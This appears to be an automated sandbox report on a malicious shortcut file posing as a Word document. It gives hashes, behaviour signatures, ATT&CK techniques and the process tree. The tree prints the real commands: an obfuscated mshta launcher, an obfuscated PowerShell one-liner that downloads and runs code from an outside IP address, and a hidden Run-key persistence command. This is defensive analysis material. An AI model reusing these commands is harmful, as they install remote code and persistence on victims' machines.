d222952baac05bc110e00010dbb02062286402074ea94d030be2e236e76fa370

General

Target

N-388-30.06.2020.docx.lnk
Size

60KB
MD5

7b5f028144aa35afdf9f4835fa5432b8
SHA1

8bf59baf6a003c279e95540bfb92149f6f0ba668
SHA256

35bc847e8a2ac7ccb75850cf69db5a47c245ed2a4dc5e98283dfd8f7f9df59e1
SHA512

2dd8bf9ab657252f86de10126f4533a3fd0053f8adb6abb2e62d30aebd9fb257d036442f3383bde2ff9fac410f2613a4caccb57fd0ff04dc8c22d164a4ed9ead

Score

8^/10

persistence

Malware Config

Signatures

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.execmd.exemshta.exe

description	pid	process	target process
PID 1060 wrote to memory of 612	1060	cmd.exe	cmd.exe
PID 1060 wrote to memory of 612	1060	cmd.exe	cmd.exe
PID 1060 wrote to memory of 612	1060	cmd.exe	cmd.exe
PID 612 wrote to memory of 1312	612	cmd.exe	mshta.exe
PID 612 wrote to memory of 1312	612	cmd.exe	mshta.exe
PID 612 wrote to memory of 1312	612	cmd.exe	mshta.exe
PID 1312 wrote to memory of 908	1312	mshta.exe	WINWORD.EXE
PID 1312 wrote to memory of 908	1312	mshta.exe	WINWORD.EXE
PID 1312 wrote to memory of 908	1312	mshta.exe	WINWORD.EXE
PID 1312 wrote to memory of 776	1312	mshta.exe	powershell.exe
PID 1312 wrote to memory of 776	1312	mshta.exe	powershell.exe
PID 1312 wrote to memory of 776	1312	mshta.exe	powershell.exe

Deletes itself 1 IoCs

Processes:

mshta.exe

pid process

1312 mshta.exe

pid	process
1312	mshta.exe

Suspicious use of AdjustPrivilegeToken 41 IoCs

Processes:

powershell.exe

description	pid	process
Token: SeDebugPrivilege	776	powershell.exe
Token: SeIncreaseQuotaPrivilege	776	powershell.exe
Token: SeSecurityPrivilege	776	powershell.exe
Token: SeTakeOwnershipPrivilege	776	powershell.exe
Token: SeLoadDriverPrivilege	776	powershell.exe
Token: SeSystemProfilePrivilege	776	powershell.exe
Token: SeSystemtimePrivilege	776	powershell.exe
Token: SeProfSingleProcessPrivilege	776	powershell.exe
Token: SeIncBasePriorityPrivilege	776	powershell.exe
Token: SeCreatePagefilePrivilege	776	powershell.exe
Token: SeBackupPrivilege	776	powershell.exe
Token: SeRestorePrivilege	776	powershell.exe
Token: SeShutdownPrivilege	776	powershell.exe
Token: SeDebugPrivilege	776	powershell.exe
Token: SeSystemEnvironmentPrivilege	776	powershell.exe
Token: SeRemoteShutdownPrivilege	776	powershell.exe
Token: SeUndockPrivilege	776	powershell.exe
Token: SeManageVolumePrivilege	776	powershell.exe
Token: 33	776	powershell.exe
Token: 34	776	powershell.exe
Token: 35	776	powershell.exe
Token: SeIncreaseQuotaPrivilege	776	powershell.exe
Token: SeSecurityPrivilege	776	powershell.exe
Token: SeTakeOwnershipPrivilege	776	powershell.exe
Token: SeLoadDriverPrivilege	776	powershell.exe
Token: SeSystemProfilePrivilege	776	powershell.exe
Token: SeSystemtimePrivilege	776	powershell.exe
Token: SeProfSingleProcessPrivilege	776	powershell.exe
Token: SeIncBasePriorityPrivilege	776	powershell.exe
Token: SeCreatePagefilePrivilege	776	powershell.exe
Token: SeBackupPrivilege	776	powershell.exe
Token: SeRestorePrivilege	776	powershell.exe
Token: SeShutdownPrivilege	776	powershell.exe
Token: SeDebugPrivilege	776	powershell.exe
Token: SeSystemEnvironmentPrivilege	776	powershell.exe
Token: SeRemoteShutdownPrivilege	776	powershell.exe
Token: SeUndockPrivilege	776	powershell.exe
Token: SeManageVolumePrivilege	776	powershell.exe
Token: 33	776	powershell.exe
Token: 34	776	powershell.exe
Token: 35	776	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main mshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run\ftzaxvjd = "cmd /c power^shell -windowstyle hidden -nop -c \"Get-Content -Raw ''C:\\Users\\Admin\\AppData\\Roaming\\ftzaxvjd.ini'' \| iex \""	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

776 powershell.exe
776 powershell.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

908 WINWORD.EXE
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

908 WINWORD.EXE
908 WINWORD.EXE
Blacklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

5 776 powershell.exe
7 776 powershell.exe
9 776 powershell.exe
11 776 powershell.exe
12 776 powershell.exe
Office loads VBA resources, possible macro or embedded object present

pid	process
776	powershell.exe
776	powershell.exe

pid	process
908	WINWORD.EXE

pid	process
908	WINWORD.EXE
908	WINWORD.EXE

flow	pid	process
5	776	powershell.exe
7	776	powershell.exe
9	776	powershell.exe
11	776	powershell.exe
12	776	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\N-388-30.06.2020.docx.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1060

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /v /c set m=m^s^h^ta && set a=N-388-^30.06.^2020.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! "!temp!\Temp1_За^прос.z^ip\!a!")
2⤵
- Suspicious use of WriteProcessMemory
PID:612

C:\Windows\system32\mshta.exe
mshta "C:\Users\Admin\AppData\Local\Temp\N-388-30.06.2020.docx.lnk "
3⤵
- Suspicious use of WriteProcessMemory
- Deletes itself
- Modifies Internet Explorer settings
PID:1312

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\N-388-30.06.2020.docx"
4⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:908

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c while(!(.("""{0}{1}{2}"""-f ("""{1}{0}""" -f 'st-','Te'),("""{2}{1}{0}""" -f 'ec','onn','C'),("""{1}{0}"""-f'n','tio')) ("""{1}{2}{0}""" -f ("""{0}{1}"""-f("""{1}{0}"""-f'.c','le'),'om'),'g','oog') -q)) {&("""{1}{2}{0}{3}""" -f ("""{0}{1}""" -f("""{0}{1}""" -f 'a','rt-'),'Sl'),'S','t','eep') -s 5} .("""{1}{0}""" -f'ex','i')(.("""{2}{1}{0}""" -f't',("""{1}{0}"""-f 'jec','Ob'),("""{0}{1}""" -f'Ne','w-')) ("""{0}{4}{1}{2}{3}"""-f ("""{1}{0}""" -f 'W',("""{0}{1}"""-f 'Net','.')),'C','li','ent','eb')).("""{3}{4}{1}{2}{0}"""-f'ing',("""{1}{0}"""-f'lo','wn'),("""{1}{0}""" -f 'Str','ad'),'D','o')."""In`Vo`kE"""(("""http://45.61.138.170/decide.php"""))
4⤵
- Suspicious use of AdjustPrivilegeToken
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:776

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\N-388-30.06.2020.docx

Download Submit
memory/612-0-0x0000000000000000-mapping.dmp

Download
memory/776-3-0x0000000000000000-mapping.dmp

Download
memory/908-2-0x0000000000000000-mapping.dmp

Download
memory/1312-1-0x0000000000000000-mapping.dmp

Download
memory/1312-4-0x0000000005EB0000-0x0000000005ED3000-memory.dmp

Filesize
140KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads